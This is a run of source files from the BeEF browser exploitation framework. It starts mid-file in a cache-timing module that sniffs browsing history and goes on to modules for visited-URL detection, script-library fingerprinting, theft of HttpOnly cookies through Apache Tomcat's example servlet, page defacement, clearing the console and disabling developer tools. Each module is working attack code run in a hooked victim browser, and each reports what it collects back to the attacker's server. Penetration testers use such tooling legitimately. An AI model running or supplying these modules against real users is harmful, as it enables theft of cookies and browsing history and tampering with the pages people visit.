'http://www.walmart.com/favicon.ico' ] }, { 'name': 'Newegg', 'urls': [ 'http://images10.newegg.com/WebResource/Themes/2005/Nest/Newegg.ico' ] } ]; /************************* * CONFIGURABLE SETTINGS * *************************/ var TIME_LIMIT = 1; var MAX_ATTEMPTS = 1; } if (beef.browser.isO() == 1){ /**************** * SCANNED URLS * ****************/ var targets = [ { 'category': 'Social networks' }, { 'name': 'Facebook', 'urls': [ 'https://s-static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js', 'http://static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js', 'http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/HN0ehA1zox_.js' ] }, { 'name': 'Google Plus', 'urls': [ 'https://ssl.gstatic.com/gb/js/abc/gcm_57b1882492d4d0138a0a7ea7240394ca.js' ] }, { 'name': 'Dogster', 'urls': [ 'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js.gz', 'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js' ] }, { 'name': 'MySpace', 'urls': [ 'http://x.myspacecdn.com/modules/common/static/css/futuraglobal_kqj36l0b.css' ] }, { 'category': 'Content platforms' }, { 'name': 'Youtube', 'urls': [ 'http://s.ytimg.com/yt/cssbin/www-refresh-vflMpNCTQ.css' ] }, { 'name': 'Hulu', 'urls': [ 'http://static.huluim.com/system/hulu_0cd8f497_1.css' ] }, { 'name': 'Flickr', 'urls': [ 'http://l.yimg.com/g/css/c_fold_main.css.v109886.64777.105425.23' ] }, { 'name': 'JustinBieberMusic.com', 'urls': [ 'http://www.justinbiebermusic.com/underthemistletoe/js/fancybox.js' ] }, { 'name': 'Playboy', 'urls': [ 'http://www.playboy.com/wp-content/themes/pb_blog_r1-0-0/css/styles.css' /* 4h */ ] }, { 'name': 'Wikileaks', 'urls': [ 'http://wikileaks.org/squelettes/jquery-1.6.4.min.js' ] }, { 'category': 'Online media' }, { 'name': 'New York Times', 'urls': [ 'http://js.nyt.com/js2/build/sitewide/sitewide.js' ] }, { 'name': 'CNN', 'urls': [ 'http://z.cdn.turner.com/cnn/tmpl_asset/static/www_homepage/835/css/hplib-min.css', 'http://z.cdn.turner.com/cnn/tmpl_asset/static/intl_homepage/564/css/intlhplib-min.css' ] }, { 'name': 'Reddit', 'urls': [ 'http://www.redditstatic.com/reddit.en-us.xMviOWUyZqo.js' ] }, { 'name': 'Slashdot', 'urls': [ 'http://a.fsdn.com/sd/classic.css?release_20111207.02' ] }, { 'name': 'Fox News', 'urls': [ 'http://www.fncstatic.com/static/all/css/head.css?1' ] }, { 'name': 'AboveTopSecret.com', 'urls': [ 'http://www.abovetopsecret.com/forum/ats-scripts.js' ] }, { 'category': 'Commerce' }, { 'name': 'Diapers.com', 'urls': [ 'http://c1.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12', 'http://c3.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12' ] }, { 'name': 'Expedia', 'urls': [ 'http://www.expedia.com/static/default/default/scripts/expedia/core/e.js?v=release-2011-11-r4.9.317875' ] }, { 'name': 'Amazon (US)', 'urls': [ 'http://z-ecx.images-amazon.com/images/G/01/browser-scripts/us-site-wide-css-quirks/site-wide-3527593236.css._V162874846_.css' ] }, { 'name': 'Newegg', 'urls': [ 'http://images10.newegg.com/WebResource/Themes/2005/CSS/template.v1.w.5723.0.css' ] }, { 'name': 'eBay', 'urls': [ 'http://ir.ebaystatic.com/v4js/z/io/gbsozkl4ha54vasx4meo3qmtw.js' ] }, { 'category': 'Coding' }, { 'name': 'GitHub', 'urls': [ 'https://a248.e.akamai.net/assets.github.com/stylesheets/bundles/github-fa63b2501ea82170d5b3b1469e26c6fa6c3116dc.css' ] }, { 'category': 'Security' }, { 'name': 'Exploit DB', 'urls': [ 'http://www.exploit-db.com/wp-content/themes/exploit/style.css' ] }, { 'name': 'Packet Storm', 'urls': [ 'http://packetstormsecurity.org/img/pss.ico' ] }, { 'category': 'Email' }, { 'name': 'Hotmail', 'urls': [ 'https://secure.shared.live.com/~Live.SiteContent.ID/~16.2.9/~/~/~/~/css/R3WinLive1033.css' ] } ]; /************************* * CONFIGURABLE SETTINGS * *************************/ var TIME_LIMIT = 3; var MAX_ATTEMPTS = 1; } /* Fetch additional targets specified by user */ var domains = '<%= @domains %>'; var r = new RegExp(/(\b[^,;]+\b)\s*;\s*([^$,]+)/gm); var res; while ((res = r.exec(domains)) != null) { targets.push({'name': res[1], 'urls': res[2]}); } function sched_call(fn) { exec_next = fn; window.postMessage('123', '*'); } /********************** * MAIN STATE MACHINE * **********************/ var log_area; var target_off = 0; var attempt = 0; var confirmed_visited = false; var current_url, current_name; var wait_cycles; var frame_ready = false; var start, stop, urls; /* The frame was just pointed to data:... at this point. Initialize a new test, giving the frame some time to fully load. */ function perform_check() { wait_cycles = 0; if (beef.browser.isIE() == 1) { setTimeout(wait_for_read, 0); } if (beef.browser.isFF() == 1) { setTimeout(wait_for_read, 1); } if(beef.browser.isO() == 1){ setTimeout(wait_for_read, 1); } } /* Confirm that data:... is loaded correctly. */ function wait_for_read() { if (wait_cycles++ > 100) { beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results=Something went wrong, sorry'); return; } if (beef.browser.isFF() == 1) { if (!frame_ready) { setTimeout(wait_for_read, 1); } else { document.getElementById('f').contentWindow.stop(); setTimeout(navigate_to_target, 1); } } if (beef.browser.isIE() == 1) { try{ if (frames['f'].location.href != 'about:blank') throw 1; //if(document.getElementById('f').contentWindow.location.href != 'about:blank') throw 1; document.getElementById("f").src ='javascript:"<body onload=\'parent.frame_ready = true\'>"'; setTimeout(wait_for_read2, 0); } catch (e) { setTimeout(wait_for_read, 0); } } if (beef.browser.isO() == 1){ try{ if(frames['f'].location.href != 'about:blank') throw 1; frames['f'].stop(); document.getElementById('f').src = 'javascript:"<body onload=\'parent.frame_ready = true\'>"'; setTimeout(wait_for_read2, 1); } catch(e){ setTimeout(wait_for_read, 1); } } } function wait_for_read2() { if (wait_cycles++ > 100) { beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results=Something went wrong, sorry'); return; } if (!frame_ready) { setTimeout(wait_for_read2, 0); } else { setTimeout(navigate_to_target, 1); } } /* Navigate the frame to the target URL. */ function navigate_to_target() { cycles = 0; if (beef.browser.isFF() == 1) { sched_call(wait_for_noread); } if (beef.browser.isIE() == 1) { setTimeout(wait_for_noread, 0); } if (beef.browser.isO() == 1){ setTimeout(wait_for_noread, 1); } urls++; document.getElementById("f").src = current_url; } /* The browser is now trying to load the destination URL. Let's see if we lose SOP access before we hit TIME_LIMIT. If yes, we have a cache hit. If not, seems like cache miss. In both cases, the navigation will be aborted by maybe_test_next(). */ function wait_for_noread() { try { if (beef.browser.isIE() == 1) { if (frames['f'].location.href == undefined){ confirmed_visited = true; throw 1; } if (cycles++ >= TIME_LIMIT) { maybe_test_next(); return; } setTimeout(wait_for_noread, 0); } if (beef.browser.isFF() == 1) { if (document.getElementById('f').contentWindow.location.href == undefined) { confirmed_visited = true; throw 1; } if (cycles >= TIME_LIMIT) { maybe_test_next(); return; } sched_call(wait_for_noread); } if (beef.browser.isO() == 1){ if (frames['f'].location.href == undefined){ confirm_visited = true; throw 1; } if (cycles++ >= TIME_LIMIT) { maybe_test_next(); return; } setTimeout(wait_for_noread, 1); } } catch (e) { confirmed_visited = true; maybe_test_next(); } } function maybe_test_next() { frame_ready = false; if (beef.browser.isFF() == 1) { document.getElementById('f').src = 'data:text/html,<body onload="parent.frame_ready = true">'; } if (beef.browser.isIE() == 1) { document.getElementById("f").src = 'about:blank'; } if (beef.browser.isO() == 1) { document.getElementById('f').src = 'about:blank'; } if (target_off < targets.length) { if (targets[target_off].category) { //log_text(targets[target_off].category + ':', 'p', 'category'); target_off++; } if (confirmed_visited) { log_text('Visited: ' + current_name + ' [' + cycles + ':' + attempt + ']', 'li', 'visited'); } if (confirmed_visited || attempt == MAX_ATTEMPTS * targets[target_off].urls.length) { if (!confirmed_visited) //continue; log_text('Not visited: ' + current_name + ' [' + cycles + '+]', 'li', 'not_visited'); confirmed_visited = false; target_off++; attempt = 0; maybe_test_next(); } else { current_url = targets[target_off].urls[attempt % targets[target_off].urls.length]; current_name = targets[target_off].name; attempt++; perform_check(); } } } /* Just a logging helper. */ function log_text(str, type, cssclass) { results+="<br>"; results+=str; //alert(str); if(target_off==(targets.length-1)){ beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results='+results); setTimeout(reload,3000); } } function reload(){ //window.location.href=window.location.href; window.location.reload(); } /* Decides what to do next. May schedule another attempt for the same target, select a new target, or wrap up the scan. */ /* The handler for "run the test" button on the main page. Dispenses advice, resets state if necessary. */ function start_stuff() { if (beef.browser.isFF() == 1 || beef.browser.isIE() == 1 || beef.browser.isO() == 1) { target_off = 0; attempt = 0; confirmed_visited = false; urls = 0; results = ""; maybe_test_next(); } else { beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results=This proof-of-concept is specific to Firefox, Internet Explorer, Chrome and Opera, and probably won\'t work for you.'); } } /**************/ /***Visipisi***/ /**************/ var vp_result = {}; var visipisi = { webkit: function(url, cb) { var start; var loaded = false; var runtest = function() { window.removeEventListener("message", runtest, false); var img = new Image(); start = new Date().getTime(); try{ img.src = url; } catch(e) {} var messageCB = function (e){ var now = new Date().getTime(); if (img.complete) { delete img; window.removeEventListener("message", messageCB, false); cbWrap(true); } else if (now - start > 10) { delete img; if (window.stop !== undefined) window.stop(); else document.execCommand("Stop",false); window.removeEventListener("message", messageCB, false); cbWrap(false); } else { window.postMessage('','*'); } }; window.addEventListener("message", messageCB, false); window.postMessage('','*'); }; cbWrap = function (value) {cb(value);}; window.addEventListener("message", runtest, false); window.postMessage('','*'); } }; function visipisiCB(vp, endCB, sites, urls, site, result){ if(result === null){ vp_result[site] = 'Whoops'; } else{ vp_result[site] = result ? 'visited' : 'not visited'; } var next_site = sites.pop(); if(next_site) vp( urls[next_site], function (result) { visipisiCB(vp, endCB, sites, urls, next_site, result); }); else endCB(); } function getVisitedDomains(){ var tests = { facebook: 'https://s-static.ak.facebook.com/rsrc.php/v1/yJ/r/vOykDL15P0R.png', twitter: 'https://twitter.com/images/spinner.gif', digg: 'http://cdn2.diggstatic.com/img/sprites/global.5b25823e.png', reddit: 'http://www.redditstatic.com/sprite-reddit.pZL22qP4ous.png', hn: 'http://ycombinator.com/images/y18.gif', stumbleupon: 'http://cdn.stumble-upon.com/i/bg/logo_su.png', wired: 'http://www.wired.com/images/home/wired_logo.gif', xkcd: 'http://imgs.xkcd.com/s/9be30a7.png', linkedin: 'http://static01.linkedin.com/scds/common/u/img/sprite/sprite_global_v6.png', slashdot: 'http://a.fsdn.com/sd/logo_w_l.png', myspace: 'http://cms.myspacecdn.com/cms/x/11/47/title-WhatsHotWhite.jpg', engadget: 'http://www.blogsmithmedia.com/www.engadget.com/media/engadget_logo.png', lastfm: 'http://cdn.lst.fm/flatness/anonhome/1/anon-sprite.png', pandora: 'http://www.pandora.com/img/logo.png', youtube: 'http://s.ytimg.com/yt/img/pixel-vfl3z5WfW.gif', yahoo: 'http://l.yimg.com/ao/i/mp/properties/frontpage/01/img/aufrontpage-sprite.s1740.gif', google: 'https://www.google.com/intl/en_com/images/srpr/logo3w.png', hotmail: 'https://secure.shared.live.com/~Live.SiteContent.ID/~16.2.8/~/~/~/~/images/iconmap.png', cnn: 'http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/intl/hdr-globe-central.gif', bbc: 'http://static.bbc.co.uk/frameworks/barlesque/1.21.2/desktop/3/img/blocks/light.png', reuters: 'http://www.reuters.com/resources_v2/images/masthead-logo.gif', wikipedia: 'http://upload.wikimedia.org/wikipedia/en/b/bc/Wiki.png', amazon: 'http://g-ecx.images-amazon.com/images/G/01/gno/images/orangeBlue/navPackedSprites-US-22._V183711641_.png', ebay: 'http://p.ebaystatic.com/aw/pics/au/logos/logoEbay_x45.gif', newegg: 'http://images10.newegg.com/WebResource/Themes/2005/Nest/neLogo.png', bestbuy: 'http://images.bestbuy.com/BestBuy_US/en_US/images/global/header/hdr_logo.gif', walmart: 'http://i2.walmartimages.com/i/header_wide/walmart_logo_214x54.gif', perfectgirls: 'http://www.perfectgirls.net/img/logoPG_02.jpg', abebooks: 'http://www.abebooks.com/images/HeaderFooter/siteRevamp/AbeBooks-logo.gif', msy: 'http://msy.com.au/images/MSYLogo-long.gif', techbuy: 'http://www.techbuy.com.au/themes/default/images/tblogo.jpg', borders: 'http://www.borders.com.au/images/ui/logo-site-footer.gif', mozilla: 'http://www.mozilla.org/images/template/screen/logo_footer.png', anandtech: 'http://www.anandtech.com/content/images/globals/header_logo.png', tomshardware: 'http://m.bestofmedia.com/i/tomshardware/v3/logo_th.png', shopbot: 'http://i.shopbot.com.au/s/i/logo/en_AU/shopbot.gif', staticice: 'http://staticice.com.au/images/banner.jpg', }; var sites = []; for (var k in tests) { sites.push(k); } sites.reverse(); vp = visipisi.webkit; var first_site = sites.pop(); var end = function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, 'results='+prepResult(vp_result)); } vp(tests[first_site], function(result) { visipisiCB(vp, end, sites, tests, first_site, result); }); } function prepResult(results){ var result_str ='<br>'; for(r in results){ result_str += r + ':' + results[r]+'<br>'; } return result_str; } beef.execute(function() { if(beef.browser.isC() == 1){ getVisitedDomains(); } else { urls = undefined; exec_next = null; start_stuff(); } });
YAML
beef/modules/browser/get_visited_domains/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_visited_domains: enable: true category: "Browser" name: "Get Visited Domains" description: "This module will retrieve rapid history extraction through non-destructive cache timing.\nBased on work done by Michal Zalewski at http://lcamtuf.coredump.cx/cachetime/\n\nYou can specify additional resources to fetch during visited domains analysis. To do so, paste to the below text field full URLs leading to CSS, image, JS or other *static* resources hosted on desired page (mind to avoid CDN resources, as they vary). Separate domain names with url by using semicolon (;), specify next domains by separating them with comma (,)." authors: ["@keith55", "oxplot", "quentin"] target: working: ["FF", "IE", "O"] not_working: ["C", "S"]
Ruby
beef/modules/browser/get_visited_domains/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_visited_domains < BeEF::Core::Command def self.options [{ 'name' => 'domains', 'description' => 'Specify additional resources to fetch during visited domains analysis. Paste to the below field full URLs leading to CSS, image, JS or other *static* resources hosted on desired page. Separate domain names with url by using semicolon (;). Next domains separate by comma (,).', 'type' => 'textarea', 'ui_label' => 'Specify custom page to check', 'value' => 'Github ; https://assets-cdn.github.com/favicon.ico,', 'width' => '400px', 'height' => '200px' }] end def post_execute content = {} content['results'] = @datastore['results'] save content end end
JavaScript
beef/modules/browser/get_visited_urls/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var results = beef.browser.hasVisited("<%== format_multiline(@urls) %>"); var comp = ''; for (var i=0; i < results.length; i++) { comp += results[i].url+' = '+results[i].visited+' '; } beef.net.send("<%= @command_url %>", <%= @command_id %>, comp); });
YAML
beef/modules/browser/get_visited_urls/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_visited_urls: enable: true category: "Browser" name: "Get Visited URLs" description: "This module will detect whether or not the hooked browser has visited the specified URL(s)" authors: ["passbe"] target: working: IE: min_ver: 6 max_ver: 7 FF: min_ver: 3 max_ver: 3 C: min_ver: 1 max_ver: 5 S: min_ver: 3 max_ver: 3 O: min_ver: 1 max_ver: 10 not_working: ["All"]
Ruby
beef/modules/browser/get_visited_urls/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_visited_urls < BeEF::Core::Command def self.options [ { 'ui_label' => 'URL(s)', 'name' => 'urls', 'description' => 'Enter target URL(s)', 'type' => 'textarea', 'value' => 'http://beefproject.com/', 'width' => '200px' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end
JavaScript
beef/modules/browser/hooked_domain/ajax_fingerprint/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { //Regular expression to match script names in source var regex = new RegExp('/\\w*\.(min\.)?js'); var results = []; var urls = ""; function unique(array) { return $.grep(array, function(el, index) { return index === $.inArray(el, array); }); } // Fingerprints of javascript /ajax libraries . Library Name: Array of common file names var fingerprints = { "Prototype":new Array("prototype"), "script.aculous":new Array("builder","controls","dragdrop","effects","scriptaculous","slider","unittest"), "Dojo":new Array("dojo.uncompressed","uncompressed","dojo"), "DWR":new Array("auth","engine","util"), "Moo.fx/":new Array("Moo","Function","Array","String","Element","Fx","Dom","Ajax","Drag","Windows","Cookie","Json","Sortable","Fxpack","Fxutils","Fxtransition","Tips","Accordion"), "Rico": new Array("rico","ricoAjax","ricoCommon","ricoEffects","ricoBehaviours","ricoDragDrop","ricoComponents"), "Mootools":new Array("mootools","mootools-core-1.4-full","mootools-more-1.4-full"), "Mochikit":new Array("Mochikit"), "Yahoo UI!": new Array("animation","autocomplete","calendar","connection","container","dom","enevet","logger","menu","slider","tabview","treeview","utilities","yahoo","yahoo-dom-event"), "xjax":new Array("xajax","xajax_uncompressed"), "GWT": new Array("gwt","search-results"), "Atlas": new Array("AtlasRuntime","AtlasBindings","AtlasCompat","AtlasCompat2"), "jquery":new Array("jquery","jquery-latest","jquery-latest","jquery-1.5"), "ExtJS":new Array("ext-all"), "Prettify":new Array("prettify"), "Spry": new Array("SpryTabbedPanels","SpryDOMUtils","SpryData","SpryXML","SpryUtils","SpryURLUtils","SpryDataExtensions","SpryDataShell","SpryEffects","SpryPagedView","SpryXML"), "Google JS Libs":new Array("xpath","urchin","ga"), "Libxmlrequest":new Array("libxmlrequest"), "jx":new Array ("jx","jxs"), "bajax":new Array("bajax"), "AJS": new Array ("AJS","AJS_fx"), "Greybox":new Array("gb_scripts.js"), "Qooxdoo":new Array("qx.website-devel","qooxdoo-1.6","qooxdoo-1.5.1","qxserver","q","q.domain","q.sticky","q.placeholder","shCore","shBrushScript"), }; function fp() { try{ var sc = document.scripts; var urls =""; var source = "" if (sc != null){ for (sc in document.scripts){ source =document.scripts[sc]['src'] || ""; if(source !=""){ //get the script file name and remove unnecessary endings and such var comp = source.match(regex).toString().replace(new RegExp("/|.min|.pack|.uncompressed|.js\\W","g"),""); for (key in fingerprints){ for (name in fingerprints[key]){ // match name in the fingerprint object if(comp==fingerprints[key][name]){ results.push("Lib:"+key+" src:"+source); } } } } } } if(results.length >0){ urls=unique(results).join('||'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "script_urls="+urls); } else{ beef.net.send("<%= @command_url %>", <%= @command_id %>, "script_urls="+urls); } } catch(e){ results = "Fingerprint failed: "+e.message; beef.net.send("<%= @command_url %>", <%= @command_id %>, "script_urls="+results.toString()); } } fp(); });
YAML
beef/modules/browser/hooked_domain/ajax_fingerprint/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: ajax_fingerprint: enable: true category: ["Browser", "Hooked Domain"] name: "Fingerprint Ajax" description: "Fingerprint Ajax and JS libraries present on the hooked page." authors: ["qswain"] target: working: ["FF", "S"] not_working: ["C"]
Ruby
beef/modules/browser/hooked_domain/ajax_fingerprint/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Ajax_fingerprint < BeEF::Core::Command def post_execute content = {} content['script_urls'] = @datastore['script_urls'] unless @datastore['script_urls'].nil? content['fail'] = 'Failed to fingerprint ajax.' if content.empty? save content end end
JavaScript
beef/modules/browser/hooked_domain/alert_dialog/command.js
// // Copyright (c) 2006-2023 Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { alert("<%= @text %>"); beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%= @text %>", beef.are.status_success()); });
YAML
beef/modules/browser/hooked_domain/alert_dialog/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: alert_dialog: enable: true category: ["Browser", "Hooked Domain"] name: "Create Alert Dialog" description: "Sends an alert dialog to the hooked browser." authors: ["wade", "bm"] target: user_notify: ["All"]
Ruby
beef/modules/browser/hooked_domain/alert_dialog/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Alert_dialog < BeEF::Core::Command # set and return all options for this module def self.options [{ 'name' => 'text', 'description' => 'Sends an alert dialog to the victim', 'type' => 'textarea', 'ui_label' => 'Alert text', 'value' => 'BeEF Alert Dialog', 'width' => '400px' }] end def post_execute content = {} content['User Response'] = "The user clicked the 'OK' button when presented with an alert box." save content end end
JavaScript
beef/modules/browser/hooked_domain/apache_tomcat_examples_cookie_disclosure/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { request_header_servlet_path = "<%= @request_header_servlet_path %>"; function parseResponse() { var cookie_dict = {}; if (xhr.readyState == 4) { if (xhr.status == 404) { beef.debug("[apache_tomcat_examples_cookie_disclosure] RequestHeaderExample not found"); return; } if (xhr.status != 200) { beef.debug("[apache_tomcat_examples_cookie_disclosure] Unexpected HTTP response status " + xhr.status) return; } if (!xhr.responseText) { beef.debug("[apache_tomcat_examples_cookie_disclosure] No response content") return; } beef.debug("[apache_tomcat_examples_cookie_disclosure] Received HTML content (" + xhr.responseText.length + " bytes)"); var content = xhr.responseText.replace(/\r|\n/g,'').match(/<table.*?>(.+)<\/table>/)[0]; if (!content || !content.length) { beef.debug("[apache_tomcat_examples_cookie_disclosure] Unexpected response: No HTML table in response") return; } var cookies = content.match(/cookie<\/td><td>(.+)<\/td>?/)[1].split('; '); for (var i=0; i<cookies.length; i++) { var s_c = cookies[i].split('=', 2); cookie_dict[s_c[0]] = s_c[1]; } var result = JSON.stringify(cookie_dict); beef.net.send("<%= @command_url %>", <%= @command_id %>, "cookies=" + result); } } var xhr = new XMLHttpRequest(); xhr.onreadystatechange = parseResponse; xhr.open("GET", request_header_servlet_path, true); xhr.send(); });
YAML
beef/modules/browser/hooked_domain/apache_tomcat_examples_cookie_disclosure/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: apache_tomcat_examples_cookie_disclosure: enable: true category: ["Browser", "Hooked Domain"] name: "Apache Tomcat RequestHeaderExample Cookie Disclosure" description: "This module uses the Apache Tomcat examples web app (if installed) in order to read the victim's cookies, even if issued with the HttpOnly attribute." authors: ["bcoles"] target: working: ["All"]
Ruby
beef/modules/browser/hooked_domain/apache_tomcat_examples_cookie_disclosure/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Apache_tomcat_examples_cookie_disclosure < BeEF::Core::Command def self.options [ { 'name' => 'request_header_servlet_path', 'ui_label' => "'Request Header Example' path", 'value' => '/examples/servlets/servlet/RequestHeaderExample' } ] end def post_execute content = {} content['cookies'] = @datastore['cookies'] save content end end
JavaScript
beef/modules/browser/hooked_domain/clear_console/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { try { beef.debug("Clearing console..."); console.clear(); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=cleared console", beef.are.status_success()); } catch(e) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not clear console", beef.are.status_error()); } });
YAML
beef/modules/browser/hooked_domain/clear_console/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: clear_console: enable: true category: ["Browser", "Hooked Domain"] name: "Clear Console" description: "This module clears the Chrome developer console buffer." authors: ["bcoles"] target: user_notify: ["C"] not_working: ["All"]
Ruby
beef/modules/browser/hooked_domain/clear_console/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Clear_console < BeEF::Core::Command def post_execute content = {} content['result'] = @datastore['result'] save content end end
JavaScript
beef/modules/browser/hooked_domain/deface_web_page/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { document.body.innerHTML = decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@deface_content) %>')); document.title = "<%= @deface_title %>"; beef.browser.changeFavicon("<%= @deface_favicon %>"); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Deface Successful", beef.are.status_success()); });
YAML
beef/modules/browser/hooked_domain/deface_web_page/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: deface_web_page: enable: true category: ["Browser", "Hooked Domain"] name: "Replace Content (Deface)" description: "Overwrite the page, title and shortcut icon on the hooked page." authors: ["antisnatchor"] target: user_notify: ['ALL']
Ruby
beef/modules/browser/hooked_domain/deface_web_page/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Deface_web_page < BeEF::Core::Command def self.options @configuration = BeEF::Core::Configuration.instance proto = @configuration.beef_proto beef_host = @configuration.beef_host beef_port = @configuration.beef_port base_host = "#{proto}://#{beef_host}:#{beef_port}" favicon_uri = "#{base_host}/ui/media/images/favicon.ico" [ { 'name' => 'deface_title', 'description' => 'Page Title', 'ui_label' => 'New Title', 'value' => 'BeEF - The Browser Exploitation Framework Project', 'width' => '200px' }, { 'name' => 'deface_favicon', 'description' => 'Shortcut Icon', 'ui_label' => 'New Favicon', 'value' => favicon_uri, 'width' => '200px' }, { 'name' => 'deface_content', 'description' => 'Your defacement content', 'ui_label' => 'Deface Content', 'type' => 'textarea', 'value' => 'BeEF!', 'width' => '400px', 'height' => '100px' } ] end def post_execute content = {} content['Result'] = @datastore['result'] save content end end
JavaScript
beef/modules/browser/hooked_domain/deface_web_page_component/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var result = $j('<%= @deface_selector %>').each(function() { $j(this).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@deface_content) %>'));); }).length; beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Defaced "+ result +" elements", beef.are.status_success()); });
YAML
beef/modules/browser/hooked_domain/deface_web_page_component/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: deface_web_page_component: enable: true category: ["Browser", "Hooked Domain"] name: "Replace Component (Deface)" description: "Overwrite a particular component of the hooked page." authors: ["antisnatchor", "xntrik"] target: user_notify: ['ALL']
Ruby
beef/modules/browser/hooked_domain/deface_web_page_component/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Deface_web_page_component < BeEF::Core::Command def self.options [ { 'name' => 'deface_selector', 'description' => 'The jQuery Selector to rewrite', 'ui_label' => 'Target Selector (Using jQuery\'s selector notation)', 'value' => '.headertitle', 'width' => '200px' }, { 'name' => 'deface_content', 'description' => 'The HTML to replace within the target', 'ui_label' => 'Deface Content', 'value' => 'BeEF was ere', 'width' => '200px' } ] end def post_execute content = {} content['Result'] = @datastore['result'] save content end end
JavaScript
beef/modules/browser/hooked_domain/disable_developer_tools/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // Uses this technique by KSpace: // http://kspace.in/blog/2013/03/12/ie-disable-javascript-execution-from-console/ var _eval = eval, evalError = document.__IE_DEVTOOLBAR_CONSOLE_EVAL_ERROR, flag = false; Object.defineProperty( document, "__IE_DEVTOOLBAR_CONSOLE_EVAL_ERROR", { get : function(){ return evalError; }, set : function(v){ flag = !v; evalError = v; } }); eval = function() { if ( flag ) { throw ""; } return _eval.apply( this, arguments ); }; beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=attempted to disable developer tools"); });
YAML
beef/modules/browser/hooked_domain/disable_developer_tools/config.yaml
